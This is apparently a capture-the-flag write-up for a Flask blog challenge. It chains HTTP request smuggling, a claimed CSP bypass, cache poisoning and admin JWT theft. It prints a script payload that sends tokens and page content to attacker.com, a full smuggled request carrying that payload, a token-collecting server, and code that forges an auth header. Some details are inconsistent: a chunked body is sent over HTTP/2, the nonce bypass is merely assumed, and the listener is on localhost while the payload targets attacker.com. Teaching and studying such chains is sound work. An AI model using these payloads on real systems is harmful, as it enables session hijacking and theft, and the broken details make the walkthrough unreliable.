**Flask CTF Challenge Write-up: HTTP Request Smuggling and Cache Poisoning**

**Challenge Overview**

This challenge involves exploiting a combination of vulnerabilities in a Flask-based blog application:

1. HTTP Request Smuggling
2. Content Security Policy (CSP) Bypass
3. Cache Poisoning
4. JWT Token Theft

The goal is to steal an admin's JWT token and use it to access the admin dashboard, where the flag is located.

**Tools Required**

* Burp Suite Professional (for HTTP Request Smuggling)
* A web browser
* A simple HTTP server (e.g., Python's http.server)

**Step 1: Discovering HTTP Request Smuggling**

1. Use Burp Suite's HTTP Request Smuggler extension to scan the target.
2. Identify that the frontend (Nginx) uses HTTP/2 while the Flask backend uses HTTP/1.1, creating a potential for request smuggling.

**Step 2: Crafting the Payload**

Create a payload that will bypass the CSP and steal the JWT token:

html

Copy

<script nonce="NONCE\_PLACEHOLDER">

fetch('/blog/posts/1').then(r=>r.text()).then(t=>fetch('http://attacker.com/steal?token='+localStorage.getItem('token')+'&content='+encodeURIComponent(t)))

</script>

**Step 3: Exploiting HTTP Request Smuggling**

Use Burp Repeater to send the following request:

Copy

POST /blog/posts HTTP/2

Host: target.com

Content-Type: application/json

Content-Length: 130

Transfer-Encoding: chunked

0

POST /blog/posts HTTP/1.1

Host: target.com

Content-Type: application/json

Content-Length: 250

{"title":"Smuggled Post","content":"<script nonce=\"NONCE\_PLACEHOLDER\">fetch('/blog/posts/1').then(r=>r.text()).then(t=>fetch('http://attacker.com/steal?token='+localStorage.getItem('token')+'&content='+encodeURIComponent(t)))</script>"}

This request smuggles a second request, which creates a new blog post with our malicious payload.

**Step 4: Cache Poisoning**

1. Send multiple requests to the blog post endpoint to trigger caching.
2. Verify that the poisoned content is now cached and being served to all users.

**Step 5: JWT Token Theft**

1. Set up a simple HTTP server to receive stolen tokens:

python

Copy

from http.server import HTTPServer, BaseHTTPRequestHandler

class TokenStealerHandler(BaseHTTPRequestHandler):

def do\_GET(self):

print(f"Stolen data: {self.path}")

self.send\_response(200)

self.end\_headers()

httpd = HTTPServer(('localhost', 8000), TokenStealerHandler)

httpd.serve\_forever()

1. Wait for the automated admin checker to visit the poisoned blog post.
2. Capture the admin's JWT token from your HTTP server logs.

**Step 6: Accessing the Admin Dashboard**

1. Use Burp Repeater to send a request to the admin dashboard:

Copy

GET /admin/dashboard HTTP/2

Host: target.com

Authorization: Bearer <stolen\_admin\_token>

x-service-auth: <generated\_service\_auth>

1. Generate the x-service-auth header using the following Python code:

python

Copy

import hashlib

from datetime import datetime

service\_auth = hashlib.sha256(f"admin\_service\_{datetime.now().strftime('%Y-%m-%d')}".encode()).hexdigest()

print(service\_auth)

1. If successful, the response will contain the flag.

**Explanation of Automated Admin Checking**

The admin\_checker.py script runs every 5 minutes, performing these steps:

1. Logs in as the admin to get a valid JWT token.
2. Fetches a list of reported blog posts.
3. Visits each reported post, simulating an admin review.

This automated process ensures that if an attacker successfully poisons a cached blog post, the admin will eventually visit it, triggering the payload and allowing the attacker to steal the admin's JWT token.

**Conclusion**

This challenge combines several web application vulnerabilities:

1. HTTP Request Smuggling allows injection of a malicious blog post.
2. The injected content bypasses CSP due to the nonce attribute (assumed to be implemented in the frontend).
3. Cache Poisoning ensures the payload persists and is served to other users.
4. JWT Token Theft occurs when the admin bot visits the poisoned page.

Successfully exploiting this chain of vulnerabilities leads to unauthorized access to the admin dashboard and retrieval of the flag.